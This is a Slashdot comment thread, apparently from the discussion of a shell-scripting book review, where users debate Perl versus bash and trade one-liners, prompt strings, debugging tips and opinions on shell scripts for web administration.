      On the subject of why using bash when you got perl, the answer is that perl and bash isn't directed at the same problem domains. Take a bash script and a perl "script" and try to describe what the program does in general terms. And take note at what terms you're using. Descibing a bash script you would typically use terms like "files", "processes", "fields". But when describing a perl script, you would mention "patterns", "hashes", "arrays", and "computing" etc.

      Why ? Because bash is usually used when your problem domain consists of "processes", "files", and "fields" and because the bash language is optimized (count keystrokes) for those tasks, while perl is optimized for advanced parsing and processing of data. Just compare how to read a file in bash vs. in perl. In bash it just takes one keystroke to read from a file using redirection, while it requires two function calls in perl (open+close).

      This is not to say that perl is more verbose than bash It actually is, but thats not the point. The point is, that when using bash in the problem domain that bash was designed for it beats perl. And vice-versa.

    54. Re:Why shell? by Anonymous Coward · · Score: 0
      Look at the examples elsewhere around here.

      sort -u q*.txt

      To do that in perl without sucking up a gob of memory (assuming the files are large), you'd need a DB_File or other external database or similar, and then you'd be making your script just a bit longer to do it that way...


      Don't get me wrong, I love perl when it's the right tool for the job...

    55. Re:Why shell? by Anonymous Coward · · Score: 0
      Besides all that, you'd spend all your time in perl doing exec/fork/system. The /bin/sh is more efficient at doing that then perl is (in terms of code, if not runtime).

      If you are claiming perl needs to start up more child processes than shell scripts, that's completely bass-ackwards. Some of reasons why perl scripts in general are much more efficient (faster) is that it generally avoids having to invoke external commands that would run as child-process; trying to communicate with said processes and recompiling regexps for each invocation and so on. And thus you'd be hard-pressed to find any real-life task in which it performs worse than equivalent 'plain' shell script.

    56. Re:Why shell? by FattMattP · · Score: 2, Funny
      Here's something from comp.editors. The discussion had degenerated into a comparison of "vim -" running in paging mode, with the normal pagers "more" vs. "less".

      Path: mindspring!news.mindspring.net!cpk-news-hub1.bbnpl anet.com!news.bbnplanet.com!ais.net!logbridge.uore gon.edu!scanner.worldgate.com!rover.u cs.ualberta.ca!aurora.cs.athabascau.ca!louis
      From: louis@cs.athabascau.ca (Louis Schmittroth)
      Newsgroups: comp.editors
      Subject: Re: Coolest Vim feature
      Date: 31 Dec 1997 17:21:07 GMT
      Organization: Athabasca University
      Lines: 22
      Distribution: inet
      Message-ID:
      References:
      NNTP-Posting-Host: aupair.cs.athabascau.ca
      X-Newsreader: NN version 6.5.0 #10 (NOV)

      roy lewis writes:

      >well, you claim to know less, and i freely confess i know more. you
      >know less, you like less, you prefer less, and the less there is of
      >less, the less you like it, because the less there is of less the more
      >it is more, and that less is better than more, because there is more
      >to less, and more suffers due to it's lack of being less. if i
      >understand you, more is less, but that more is less than less, because
      >less has more to offer than more. in some moebus-like fashion, more
      >suits you less, and less suits you more.

      >well, i must yield to your knowledge of less, cling to my knowledge of
      >more, and since you cling to less and spurn more, i must leave you to
      >your fate, more or less.

      I nominate you for the funniest post of the year in comp.editors.

      Thanks.
      --
      Louis Schmittroth louis#cs.athabascau.ca
      http://montana-vigilantes.org
      NW 1/4 18 67 21 W4 Alberta.

      --
      Prevent email address forgery. Publish SPF records for y
    57. Re:Why shell? by Anonymous Coward · · Score: 0

      > Perl has higher level programming constructs
      > such as variable scoping, references, hashes,
      > reg exp, etc that make programming some much
      > more capable and readable, understandable.

      Korn (and Bash) shell have all of these.
      From a language perspective Korn and Bash
      are actually better than Perl. The only real
      thing that Perl has going for it are the
      (large?) number of "extensions".

    58. Re:Why shell? by Anonymous Coward · · Score: 0

      > Show me a shell script that takes more lines of
      > code to do the same job in Perl. Perl has many
      > more features like grep, map, hashes, , symbolic
      > references, etc. that make short work of simple
      > tasks that do not exist in shell.

      Korn and Bash have all these features. Perl
      offers no advantages language wise (functionally)
      and is *lot* harder to read. The only "advantage"
      to Perl is that it offers a lot of "extensions"
      that are useful for certain applications.

    59. Re:Why shell? by CormacJ · · Score: 1

      Perl can do everything that bash can, but when I can pipe 3 or 4 commands together to strip a configuration line out of one file, parse a second file and add the updated line back into the configuration, bash makes it much simpler for me.

      I know somewhere in the depths of CPAN there probably is a module that does it for me, but I just couldn't be bothered looking.

    60. Re:Why shell? by ComputerSlicer23 · · Score: 1
      Yeah, but I meant in terms of "easy to read code", less in terms of runtime. Implementing "mount -f -l -a -t" or whatever it is, and executing "fsck" isn't as simple in perl. There are tons of things you'll both end up exec'ing. The majority of my startup scripts are preciesly "start this daemon", "run this command". I suppose you could save yourself a bunch of forking, by re-implementing mount/fsck/ip/iptables and numerous other commands in native perl. Most of what you do during startup isn't "cat", "echo" or "grep". Sure there's plenty of "echo", "if", and a bit of "grep". However, the bulk of *MY* startup scripts are "start apache, ssh", "run these userspace commands that interact with the kernel (ifconfig/ip/iptables)". Fsck my filesystems. mount the filesystems. Run the startup for lvm and raid devices. Load my modules. Most of which the shell is far better suited to doing the perl is (IMHO). None of those are native perl utilities (they are all native shell utilities). They are all things you'll have to use system(""), for, and carefully escape things, or setup arrays of arguments. Generally it's all much easier to run external commands in a shell then it is in perl.

      Kirby

    61. Re:Why shell? by ComputerSlicer23 · · Score: 1
      What does the size of the executable or source have to do with anything? (By the by, /bin/sh is much smaller then /usr/bin/perl in terms of binary size if you account for the fact that all of the functionality of perl is in /usr/lib/perl5/5.8.0/i386-linux-thread-multi/CORE/ libperl.so on my machine).

      Shells are what you type commands into. If you are desperate to get a linux system started, you can always do "linux init=/bin/sh" on the grub/lilo prompt. You can try linux emergency on any redhat box (not sure if that is portable to non-redhat linux distros). Then you get a shell. The thing everybody is used to dealing with for starting a machine.

      I don't know about you, but in my startup scripts, I'd never use readdir or a socket (I might use readdir, but "for file in *.ext ; do ; done" works just fine in that case). I'd can't think of a reason to use an associate array during startup. RegEx's I can think of a few uses for. I could see how not forking for every "echo" call would be a nice idea. In shell, I'd almost never do `cat file`, it's silly. If you aren't doing script

      Start md devices

      Start LVM

      Start my swap

      Mount my filesystems

      Initialize my network

      Fork/exec the 30 daemons I need started

      In a pinch, I'd have a hard time debugging my system if it was perl based. Perl is more complex to read and write, and it doesn't mimic what I spend 90% of my time doing on a UNIX box to get things to start and stop.

      If I used perl as my shell, I could see wanting my startup scripts written in it. However, I want my startup scripts to work exactly like my everyday usage, so when the shit hits the fan, I can deal with the situation. Not many people I know would be thrilled at getting to type in perl scripts to start a crippled machine. Nobody I know is insane enough to use it as a CLI. The beauty of shell, is that it is designed to run commands interactively. Perl isn't. It wouldn't be a good thing when things go wrong, and I'd never use any of the power of perl during a startup script, and I'd have to deal with all the ugliness of external commands, which is precisely what shell does wonderfully.

      About the only compelling thing I can see, is you'd avoid forking 1000 times to run "echo", but the uglyness of running system(""), or popen("") all the time just doesn't appeal to me. Maybe you could use backticks all the time, but at that point, you might as well just have used the damn shell.

      Start naming compelling features, I just absolutely have to have during startup scripts. You claim perl has so many useful features for programming. Do me a favor, find 3 of them that I'll find so compelling, that I'm willing to do: system( "daemon args" ) to get it. I'll bet you can't find 3 compelling features perl has that the shell doesn't that are good for startup scripts.

      Sockets, you are doing something wrong if you are using sockets in a startup script. Readdir? find and shell globbing work just fine for that. Associative arrays? I can't think of a good usage. Good regular expressions, okay, there's one. You can have functions, arguments, scoping, and external functionality in shell. It's not even hard to do in shell.

      I'm not saying that perl isn't useful for a zillion things. It is. It is vastly superiour to shell in so many ways. Running external commands isn't one of them. Running external commands is what 95% of startup scripts is about.

      Kirby

    62. Re:Why shell? by doom · · Score: 1
      glwtta wrote:
      I'm no Perl golfer, but I'd suggest that the obvious Perlish way of doing it looks more like this:
      $lines{$_} = 1 while(<>);
      print for sort keys %lines;
      Well, I suggest that you're being too modest. The method that I came up with off of the top of my head is certainly too verbose (for some reason I spaced on the fact that you don't need to explicitly iterate over the arguments), but what you're showing here displays a pretty good grasp of some of the odder constructs that perl allows.

      If I'd been writing stuff like this a lot, maybe I would've called this the "obvious" solution:

      foreach (<>) { $lines{$_} = undef; }
      foreach (sort keys %lines) { print; }
      But in any case, iterating over @ARGV the way I did it the first time made it easy to modify it to record the context that each line was found in.

      (As an aside: perl's detractors claim that the differences between your style and mine should be an impediment to us understanding each other's code. But in fact, I have no trouble reading your solution... my reaction isn't "My god, what is he doing", it's more like "Oh yeah, I forgot you could do that.")

      Oh, by the way: if I remember correctly there's a memory advantage to using "undef" as the hash value in this case over the integer "1"... though using "1" would certainly score you points in golf.

    63. Re:Why shell? by Anonymous Coward · · Score: 0

      Show me a shell script that takes more lines of code to do the same job in Perl.

      I guess you missed the grandparent:

      #!/bin/sh # Display all duplicate lines in a set of files. cat $* | sort | uniq exit 0

      Go at it. You have one line to work with.

      (P.S. cramming 300 characters on one line doesn't count...)

    64. Re:Why shell? by Mr_Silver · · Score: 1
      O.K. I will call your bluff!

      Show me a shell script that takes more lines of code to do the same job in Perl

      From the grandparent - sort and print only the unique entries in all the contents of some quote files:

      cat quote*.txt |sort |uniq
      Or how about, print all the real usernames from the passwd file ignoring any blanks:
      cat /etc/passwd | awk -F: '{ print $5 }' | grep -v "^$"

      If you can do both of these in less lines in Perl (and shoving 5000 characters on the same line doesn't count) then you win.

      --
      Avantslash - View Slashdot cleanly on your mobile phone.
    65. Re:Why shell? by losec · · Score: 1

      #!/usr/bin/perl

      map { print "$_" if $_ ne $a; $a = $_} sort `cat q*`;

      First of all. Saying things like "without cramming 300 line (not aligning lineseparator with linebreak)
      is not fair:
      A one liner:
      1 with 4 commands means 4 processes.
      2 Doesn't make it more readable than extending.
      3 does not run any faster.

      Perl actually manage to fix 1,2,3. That is why I
      run perl in cases where Shell just can scale.

      Anyway I use both, harmonized, so I am not offended.

    66. Re:Why shell? by ttyv0 · · Score: 1

      This does not mean that perl is an ugly nasty language. It might mean that the person might not b e aware of perls capabilities.

      Here is a one liner in perl:

      perl -ne 'print unless(++$seen{$_} > 1)' quote*.txt

    67. Re:Why shell? by prakashk · · Score: 1
      # sort and print only the unique entries in all files
      perl -lne '$_ eq $prev || print, $prev = $_' quote*.txt

      # print all the real usernames from the passwd file ignoring any blanks
      # do better than the shell command, ignore any name with only whitespace

      perl -F: -lane '$F[4] =~ m/\S/ && print $F[4]' /etc/passwd

      /prakash

    68. Re:Why shell? by Mr_Silver · · Score: 1

      Not sure whether passing command line arguments is cheating, but still, good skills :o)

      --
      Avantslash - View Slashdot cleanly on your mobile phone.
    69. Re:Why shell? by glwtta · · Score: 1
      Oh, by the way: if I remember correctly there's a memory advantage to using "undef" as the hash value in this case over the integer "1"... though using "1" would certainly score you points in golf.

      The reason isn't "strokes", it's just that 1 evaluates to true. Hashes are often used as a "bag" structure where you just want to see if something exists or not, and doing if($bar{foo}) seems nicer than if(exists $foo{bar}) - just personal preference I guess. I did it the first time made it easy to modify it to record the context that each line was found in.

      Yep, and the over advantage for the more explicit loop over the lines is the opportunity to normalize the lines before comparing them, which is something you'll often want to do with this sort of problem.

      --
      sic transit gloria mundi
    70. Re:Why shell? by Camel+Pilot · · Score: 1

      Nice work

    71. Re:Why shell? by Anonymous Coward · · Score: 0

      'cat q* | sort | uniq' runs twice as fast and has the possibility to benefit from multiple CPUs (piped processes are co-processes).

      If you can use shell commands and piping to solve your problem, do it.

      Most shell commands are written in C or some other speedy language, and even when they aren't, they're usually optimized to some degree.

      Anyhow..

      #!/usr/bin/perl
      print `cat q* | sort | uniq`

  9. When the only tool you have is a hammer... by robslimo · · Score: 5, Insightful

    ...everything looks like a nail

    Actually, I agree that shell scripting is a powerful tool and well worth understanding. But 'a loan calculator' script? Gee, once you know the formula, a coupla minutes in a spreadsheet will do the trick.

    I guess all people, myself included, fall into the hammer/nail trap. I know C very well, so I use it for just about every little app. Hmm... maybe I oughta buy this book.

    -RatOmeter

    1. Re:When the only tool you have is a hammer... by Anonymous Coward · · Score: 0

      > Gee, once you know the formula, a coupla minutes in a spreadsheet will do the trick.

      Yes, and how long does it take to start up the spreadsheet? Now, compare with how long it takes to run the scirpt. For extra points, compare and contrast system resources used by the 2 options (running a spreadsheet vs. a shell prompt).

    2. Re:When the only tool you have is a hammer... by elmegil · · Score: 1

      Last time I checked, I could start a shell a lot faster than I could start any of the bloated monstrosities that call themselves spreadsheet programs these days.

      --
      7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
    3. Re:When the only tool you have is a hammer... by Hatta · · Score: 1

      Talk about overkill. Once you know the formula it's just as easy to have perl do the math, specifying parameters on the command line. You don't even need a gui, and it's really easy to call from other scripts.

      Though I agree that bash probably isn't the best choice. Math isn't it's strong point.

      --
      Give me Classic Slashdot or give me death!
    4. Re:When the only tool you have is a hammer... by unixbob · · Score: 3, Insightful

      Surely the point of books like this is not to show you how to write a shell script which lets you calculate interest payments, but to show you how to write a script with integers and maths calculations in. And to do that in an interesting way. The hardest thing when teaching someone to program (assuming they aren't a complete moron) is finding subjects which piques and holds their interest. I bet most people who read the review didn't think "wow, I can use a shell script to calculate my interest payments instead of MS excel" but instead thought "neat idea"

      --
      The Romans didn't find algebra very challenging, because X was always 10
    5. Re:When the only tool you have is a hammer... by Brandybuck · · Score: 1

      If I knew the formula, I could WRITE the script before OpenOffice finished loading...

      --
      Don't blame me, I didn't vote for either of them!
    6. Re:When the only tool you have is a hammer... by vrai · · Score: 1
      Now, compare with how long it takes to run the scirpt. For extra points, compare and contrast system resources used by the 2 options (running a spreadsheet vs. a shell prompt).
      Woah - lots of calculations there. Sounds like a job for a spreadsheet.
    7. Re:When the only tool you have is a hammer... by ModifiedDog · · Score: 1

      We are all prisoners of our experience, so every now and then, get out of the cube/programming language you're familiar with and try something new.

    8. Re:When the only tool you have is a hammer... by joggle · · Score: 1

      You could also write an octave/matlab script. Don't know about you, but octave loads pretty fast for me.

    9. Re:When the only tool you have is a hammer... by kfg · · Score: 1

      ...everything looks like a nail

      That's funny. That's what people keep telling me about the way I use spreadsheets.

      KFG

    10. Re:When the only tool you have is a hammer... by Anonymous Coward · · Score: 0

      D'Oh! So THAT's why people weren't all that excited about all javascript spreadsheet I wrote (ok ok, it had java servlet on server-side for saving spreadsheet data but all in client side was JS).

  10. Hmm... by Psychor · · Score: 5, Funny
    'Wicked Cool' shell scripts, a sure way to impress the ladies! Could anything be cooler than a script to calculate loan payments? I seriously doubt it!

    Hopefully it also features a grammar checking script to ensure that you don't start using phrases like 'Wicked Cool'.

  11. 101 Prompts? by moberry · · Score: 5, Interesting

    There needs to be a chapter on bash prompts. I have seen some slick prompts. Displaying; uptime, current directory size, time, battery power, etc. I'm pretty satisfied with a user@host:~, but i do like to put color in mine.

    1. Re:101 Prompts? by Bombcar · · Score: 2, Interesting

      I had a really bad-ass prompt for good old DOS 5 with ANSI.SYS support.

      It would save the current cursor position, write the date and time on the top line of the screen, jump back to where it had been, write the current directory, and do it all in nice colors!

      I do like Gentoo Linux's default prompt, which I've now copied to all my linux machines. Now if they'd just alias ls='ls --color' by default, I'd be real happy! :)

    2. Re:101 Prompts? by realdpk · · Score: 1

      The only problem with color is if you accidentally "overtype" the escape codes while the next prompt is coming up - you may get some other funky escape sequence going or it may just look like crap.

    3. Re:101 Prompts? by Kaimelar · · Score: 4, Informative
      There needs to be a chapter on bash prompts. I have seen some slick prompts. Displaying; uptime, current directory size, time, battery power, etc. I'm pretty satisfied with a user@host:~, but i do like to put color in mine.

      I don't know if such a book (or chapter in a book) exists, but here are some links:

      Have fun...

    4. Re:101 Prompts? by deadlinegrunt · · Score: 3, Informative

      Try this.

      Amazing how much free information you can get when you look for it.

      --
      BSD is designed. Linux is grown. C++ libs
    5. Re:101 Prompts? by The_Dougster · · Score: 1
      export PS1='\[\033[1;30m\]<\[\033[35m\]\#\[\033[30m\]>[\[ \033[34m\]\w\[\033[30m\]]
      \[\033[32m\]\$\[\033[0m \] '
      I've been using this one for a long time now.
      --
      Clickety Click ...
    6. Re:101 Prompts? by Otter · · Score: 2, Informative

      This was also an Ask Slashdot a bunch of years ago...OK, fine, I'll find it...

    7. Re:101 Prompts? by mog · · Score: 1

      You do mean "alias ls='ls --color=auto'", right? You don't want to go and have your "ls -l | less" all munged up by the color codes getting choked on in less.

      Totally on the Gentoo colors. I've got a FreeBSD zealot of a friend that yells at me for using ls with color. He went ape when he saw my color prompt. What can I say, I love pretty colors. Having started out with computers on the BBS scene, ANSI colors just make me feel at home.

    8. Re:101 Prompts? by Bombcar · · Score: 1

      Hmm... on my Gentoo box, less deals with the colors just fine. Maybe it was broken back in the day?

      And colors are so darn helpful in see what's a directory, what's a link, etc.

      Without colors, you're depriving yourself of important information.

      -Tom

    9. Re:101 Prompts? by Anonymous Coward · · Score: 0

      The real puritan minimalist shuns fanciness, aesthetics, and usability. What else would you expect from a BSD zealot? :-)

    10. Re:101 Prompts? by minusthink · · Score: 0

      That's what ls -F is for.

      --
      "when life gets complicated, I like to take a nap in a tree and wait for dinner" - Hobbes.
    11. Re:101 Prompts? by coolerthanmilk · · Score: 1


      Without colors, you're depriving yourself of important information.


      Thanks a lot. I'll pass that on to my parents if they decide to go back in time to conceive and pass on their color-blind genes to me all over again.

      And I thought it was only colors I had problems with, now I know I'm missing information as well. What more can I have missed out on all these long years?!?

    12. Re:101 Prompts? by Bombcar · · Score: 1

      I'm sorry that you're colorblind, but did you know that you can configure /etc/DIR_COLORS to configure the colors that are used? That way, you can pick defaults that can be seen on a black and white screen, or in your case, by someone who is colorblind. For example, normal text for a file, inverse text for a directory, blinking text for a broken link, etc.

      It really is nice to be able to distinguish at a glance what kind of file you're looking at.

    13. Re:101 Prompts? by Imran · · Score: 1

      You're right about '--color=auto' (you really dont want those escape sequences if the destination is not a terminal - what if you're redirecting output to a file, for example), but you'll find that less will interpret escape sequences with the '-r' option.

      So, `ls --color=yes | less -r` will work just fine.

    14. Re:101 Prompts? by Anonymous Coward · · Score: 0

      one other thing to consider is if you use screen is the caption option. you can put all sorts of crap in the caption line on the bottom of screen. it makes me wet.

    15. Re:101 Prompts? by Faux_Pseudo · · Score: 1

      There once was a slashdot thread on this:

      http://slashdot.org/article.pl?sid=01/07/06/1222 59 &mode=thread

      And I once wrote a program to interactively configure a bash prompt. You can grab it at
      asciipr0n.com/fp/ibpconf.sh-6.2.tar.gz

      It has been a few years since I worked on it but give me an email if you find any bugs.

    16. Re:101 Prompts? by mog · · Score: 1

      Interesting. Thanks for the tip. Just goes to show you, with Linux and UNIX, you can learn something new and useful every day. On a tangent, I've been using vi and vim for together over 10 years. It seems like I still learn some neat new trick inside of vim every week.

  12. Webmasters?? by Vo0k · · Score: 3, Insightful

    ...webmasters will find this book fundamentally critical to day-to-day operations;

    What webmaster uses SHELL scripts?!

    I understand, PHP, Perl, some other CGI. Marginal use for scripts for log analysis, maybe some file management, making their own work a bit easier.
    But shells were never meant to do any web work. They are too slow, too heavyweight, too vulnerable to abuse by malicious users to be used as server side extensions!

    --
    Anagram("United States of America") == "Dine out, taste a Mac, fries"
    1. Re:Webmasters?? by ADRA · · Score: 2, Insightful

      The reviewer said Day to day operations, not implementation.

      I don't believe that the reviewer ment that the scripts were being used for a web site, but as a tool for automating web site administration.

      --
      Bye!
    2. Re:Webmasters?? by SavoWood · · Score: 1

      The "day-to-day operations" are very likely not for cgi. They're probably more like merging versions of the site, checking links, and creating the password protection files (.htaccess) for the different pages.

      I can't say for sure since the site with the scripts is about to die under the load of the slashdot effect. However, I'd go check it out and see what the scripts really are before you go spouting off about how no webmaster in his right mind would use such crap. You can use a script for more than server side extensions.

      --
      Plant a tree in a developing country.
    3. Re:Webmasters?? by Freedom+Bug · · Score: 4, Interesting
      What webmaster uses SHELL scripts?!


      Um, me.


      My web server has 6 megs of RAM. (it's an embedded device). That gives me two choices: C or sh. Obviously sh doesn't work for everything, but it's sure a heck of a lot nicer than using C for the non-critical stuff.


      Ironically, I usually use Python for administration type tasks during development on real computers, and sh for the web sites themselves on the embedded servers.


      Bryan

    4. Re:Webmasters?? by itsabouttime · · Score: 2, Informative

      SHELL Scripts are used by webmasters for exactly the purposes you have mentioned. Mostly for managing files particuliarly logs, starting and stoping servers, jvm's, creating backups etc. Not for web users... I can't imagine anyone is suggesting that Shell scripts be be granted execute permission on a web server... I hope.

    5. Re:Webmasters?? by Anonymous Coward · · Score: 1, Funny
      My web server has 6 megs of RAM.

      is it also powered by a potato?

    6. Re:Webmasters?? by Anonymous Coward · · Score: 0

      On a small site, every page can be individually updated by hand. This is not feasible on a large site; webmasters need an efficient way to update hundreds files at once to keep the site current. There are two options: make your page in Dreamweaver (or frontpage, etc), or use shell scripts to update your code. Since no machine-generated markup will ever be as clean or efficient as handwritten code, I choose to use shell scripts.

    7. Re:Webmasters?? by Raver77 · · Score: 1

      I do.

      Use scripts to grep apache logs for violations and use other scripts to firewall and blacklist them.

      --
      ** Software is like sex it's better when it's free. **
    8. Re:Webmasters?? by DR+SoB · · Score: 1

      "My web server has 6 megs of RAM." Umm, I'll donate you $10 so you can upgrade!

      --
      Mod +5 Drunk
    9. Re:Webmasters?? by B3ryllium · · Score: 1

      I think he meant for server-side operations that are not called by visitors to the website. Backups, for instance. I can't think of any other examples, though, so I could be a bit off :)

    10. Re:Webmasters?? by SuiteSisterMary · · Score: 2, Funny

      Mordac: I am Mordac, the Preventor of Information Services. You have exceeded your storage space on the server.

      Alice: Here's 25 cents so you can double my storage space.

      Mordac: I think my mystique just took a hit.

      --
      Vintage computer games and RPG books available. Email me if you're interested.
    11. Re:Webmasters?? by yelvington · · Score: 1

      For some applications a shell script might be the right tool. Back at the dawn of time (circa 1994) I wrote a "caption contest" for startribune.com in Minneapolis. All it took was a couple of four- or five-line shell scripts. I made a similar tool for weatherman Paul Douglas to update his column and forecasts.

      Steven Grimm's uncgi makes it simple, and the resulting process was much smaller/faster/less resource-intensive than disturbing the Perl monster.

    12. Re:Webmasters?? by AbbyNormal · · Score: 1

      Care to share the link witht he rest of us?

      6 megs of Ram vs. Slashdot = 0-smoldering in 5.5 seconds.

      --
      Sig it.
    13. Re:Webmasters?? by Vo0k · · Score: 1

      Yeah, I'm sure no webmaster could live without any of the following and that shell is the best choice to implement them.

      069-showcgienv.sh
      display the CGI runtime environment, as given to any CGI script on this system.
      070-logsearch.cgi
      given a search request, log the pattern, then feed the entire sequence to the real Yahoo search system.
      070-yahoo-search.html
      html helper file for script #70, logsearch.
      071-getdope.sh
      grab the latest column of 'The Straight Dope' and mail it to the specified recipient
      071-kevin-and-kell.cgi
      Build a Web page on-the-fly to display the latest strip from the cartoon strip Kevin and Kell, by Bill Holbrook (Strip referenced with permission of the cartoonist)
      072-contactus.cgi
      Process the contact us form data, email it to the designated recipient, and return a succinct thank you message.
      072-contactus.html
      html helper file for script #72, contactus.cgi
      073-photoalbum.cgi
      dynamic web photo album utility.
      074-guestbook.cgi
      display the current guestbook entries, append a simple form for visitors to add their own comments, and accept and process new guest entries. Works with a separate data file that actually contains the guest data.
      074-guestbook.txt
      data file for script #74, guestbook.cgi
      075-counter.sh
      a simple text-based page counter, with appropriate locking
      075-page-with-counter.html
      html helper file for script #75, counter
      075-streamfile.cgi
      output an HTML file, replacing the sequence ---countervalue--- with the current counter value.
      075-updatecounter.sh
      a tiny script that updates the counter file to the value specified. Assumes that locking is done elsewhere.
      076-randomquote.sh
      given a one-line-per-entry datafile, this script will randomly pick one and display it. Best used as an SSI call within a Web page.
      076-ssi-sample.html
      html sample file for script #76, randomquote.
      077-checklinks.sh
      traverse all internal URLs on a Web site, reporting any errors in the "traverse.errors" file.
      078-checkexternal.sh
      traverse all internal URLs on a Web site to build a list of external references, then check each one to ascertain which might be dead or otherwise broken.
      079-webspell.sh
      use the 'aspell' feature + lynx to spell check either a Web page URL or a file.
      080-apm-footer.html
      html sample footer information for script #80, apm.cgi
      080-apm.cgi
      Apache Password Manager - allows the administrator to easily manage the addition, update, or deletion of accounts and passwords for a subdirectory of a typical Apache configuration (where the config file is called .htaccess)
      080-htpasswd-b.pl
      Perl script for sites that don't have an htpasswd with a -b flag
      084-webaccess.sh
      analyze an Apache-format access_log file, extracting useful and interesting statistics
      085-enginehits.sh
      extract and analyze search engine traffic in the referrer field of a Common Log Format access log for a specified domain name.

      --
      Anagram("United States of America") == "Dine out, taste a Mac, fries"
    14. Re:Webmasters?? by Anonymous Coward · · Score: 0

      What do you mean, shell is not good for Web Work??? Check out Bourne Shell Server Pages.

    15. Re:Webmasters?? by forkazoo · · Score: 1

      Dood! Don't take the fun out of it! P.S. Anybody know where to get SCSI drivers and the ability to do a teeeny tiny web server under Mac OS System 6.0.8 - I have an original Macintosh I'd like to get running as a web server. 1 MB RAM (It was seriously modded after market!)

    16. Re:Webmasters?? by dave420 · · Score: 1
      You've heard of CGI, right? Common Gateway Interface? It's (basically) a way for webservers to execute applications and pass the output to the browser. They, funnily enough, are shell scripts.

      You can write a whole website using shell scripts. When I was at Uni we had to write a shell-script powered web interface for a searchable database of german (don't ask) license plates.

    17. Re:Webmasters?? by Vo0k · · Score: 1

      The fact you can drive a nail into a wall with any heavy and hard enough object doesn't mean you should use your head for that. I know you -CAN- use shell scripts for CGI. The problem is they are about the worst choice to do it!

      --
      Anagram("United States of America") == "Dine out, taste a Mac, fries"
    18. Re:Webmasters?? by dave420 · · Score: 1

      They're not ideal, but before the days of mod perl and mod php, CGI was the only way of putting interactivity into a website. :)

  13. Quick Hacks by frodo+from+middle+ea · · Score: 5, Informative
    My 2 cent tips on budding shell script authors.

    If the script is not working as you want, put a

    set -x
    on the fist line and
    set +x
    on the last line.

    You will see the exact execution path and variable expansion, very neat for debugging

    --
    for the last time people, I am "frodo from middle eaRTH", not "middle eaST".
    1. Re:Quick Hacks by Anonymous Coward · · Score: 1, Informative

      #!/bin/bash -x
      echo works well for the first line too

    2. Re:Quick Hacks by Anonymous Coward · · Score: 1, Informative

      And if your script has way too much output this way, you can add comments with the no-op operator, : , as follows:

      : THIS LINE DOES FOO

      the above line does nothing and is only printed if set -x is on...

    3. Re:Quick Hacks by Anonymous Coward · · Score: 0

      Your second cent is unnecessary - shell scripts run in a separate shell, so there's no need to "set +x" at the end of a script (just before the shell exits). Unless, of course, you're crazy enough to run your shell scripts with the "." command. (Yeah, yeah, yeah - I'm ignoring things like .profile where you want to use ".".)

    4. Re:Quick Hacks by Stinky+Cheese+Man · · Score: 5, Informative
      In bash, at least, you can do this even more simply with...

      sh -x scriptname

    5. Re:Quick Hacks by Anonymous Coward · · Score: 1, Informative

      that, and when the exec bit is set on the shell script and the script is directly run as # ./shellscript.

    6. Re:Quick Hacks by Tore+S+B · · Score: 1

      Actually, that's
      bash -x scriptname

      Just because sh is symlinked to bash with Linux, doesn't mean that standard /bin/sh is completely gone. Solaris (which I hate) puts it in /usr/gnu/bash. Same with IRIX (which I don't like, but the hardware kicks your dog and slaps your donkey). Point is, in 90% of cases, it'll work, but you're better off doing it The Right Way.

      --
      toresbe
    7. Re:Quick Hacks by Anonymous Coward · · Score: 0

      This is precisely when a script will run in a subshell, as your wiser parent poster described.

      The kernel sees the magic number (#!), takes the following pathname expression to be an interpreter (or /bin/sh if there is none), and prepends it to the pathname of the script. Or how did you think a text file became executable?

      And who modded this informative? Up against the wall, you.

  14. killing processes by name... by Anonymous Coward · · Score: 1, Insightful

    Gee. This book must cater to Solaris users.. or some other *NIX not blessed with a killall command.

    1. Re:killing processes by name... by B3ryllium · · Score: 1

      Never heard of awk, I see.

      `ps aux | grep [process name] | awk '{print $2 }' | xargs kill -9`

    2. Re:killing processes by name... by Durin_Deathless · · Score: 1
      I prefer
      killall -9 [procname]
      but that's just me.
      --
      You should use AdiumX on your Mac.
    3. Re:killing processes by name... by B3ryllium · · Score: 1

      The point was that some systems may not have the killall command, and if so, you could take the above awk stuff and make a "wicked cool shell script" called killall.

    4. Re:killing processes by name... by Anonymous Coward · · Score: 0

      What version of Solaris do you use?

      $ uname -a
      SunOS 5.8 Generic_108528-27 sun4m sparc SUNW,SPARCstation-20
      $ which killall
      /usr/sbin/killall

    5. Re:killing processes by name... by Anonymous Coward · · Score: 0

      On Solaris you can use pkill to kill processes by name.

  15. shell scripts vs. programming languages... by garcia · · Score: 5, Interesting

    A guy I know that is into Geocaching likes to use archaic shell scripting to scrape web pages for information. While the scripts work they require other applications and quite a bit of messy code.

    Why would you use awk and sed along with a really ugly shell script to get something done when you could have just as easily used perl to acheive the same effect?

    Sometimes you should just use what is best for the job. I really don't think that using shell scripts to pull IMDB movie info is the best way to go.

    YMMV,

    1. Re:shell scripts vs. programming languages... by brunson · · Score: 1, Informative

      Because perl is hidously ugly. The vice grips of Unix and just like vice grips in the real world, there's always a better tool for the job.

      http://www.python.org /me waits to be modded 'troll'

      --
      09F911029D74E35BD84156C5635688C0
      Jesus loves you, I think you suck
    2. Re:shell scripts vs. programming languages... by hardaker · · Score: 1
      I wrote a perl script to read in a geocaching xml file, request data from the geocaching site, parse it all and output a simple text file containing all the cache descriptions in a much more condenced form than you can get from the web page. (it even uploads it to the device)

      I can't imagine having done it in anything but perl. All in 250 lines. I couldn't go geocaching without it.

      --
      The next site to slashdot will be ready soon, but subscribers can beat the rush and start slashdotting it early!
    3. Re:shell scripts vs. programming languages... by Azghoul · · Score: 2, Funny

      Wait, let me get this straight...

      You speak of the ugliness of shell scripting and then mention Perl as the solution?

      Que?

    4. Re:shell scripts vs. programming languages... by sporty · · Score: 2, Insightful

      shell == programming langauge...

      'cause every executable becomes a function which you pass params and get return values, if you want to.

      --

      -
      ping -f 255.255.255.255 # if only

    5. Re:shell scripts vs. programming languages... by ncc74656 · · Score: 1
      Why would you use awk and sed along with a really ugly shell script to get something done when you could have just as easily used perl to acheive the same effect?

      Um...because you don't know Perl and are put off by syntax that looks one step removed from line noise? It's also an awfully large system to have to start up for a simple task...kinda like booting Windows to use calc.exe instead of just using the calculator sitting on your desk. Whatever happened to the UN*X ideal of a bunch of small tools that each do one or two jobs well, used in combination?

      I can knock together a script (using sed & id3ed) fairly quickly to tag a directory full of mp3z. It gets the job done. Isn't that what really matters?

      (I have a sneaking suspicion that Perl vs. BASH is becoming the new emacs vs. vi.)

      --
      20 January 2017: the End of an Error.
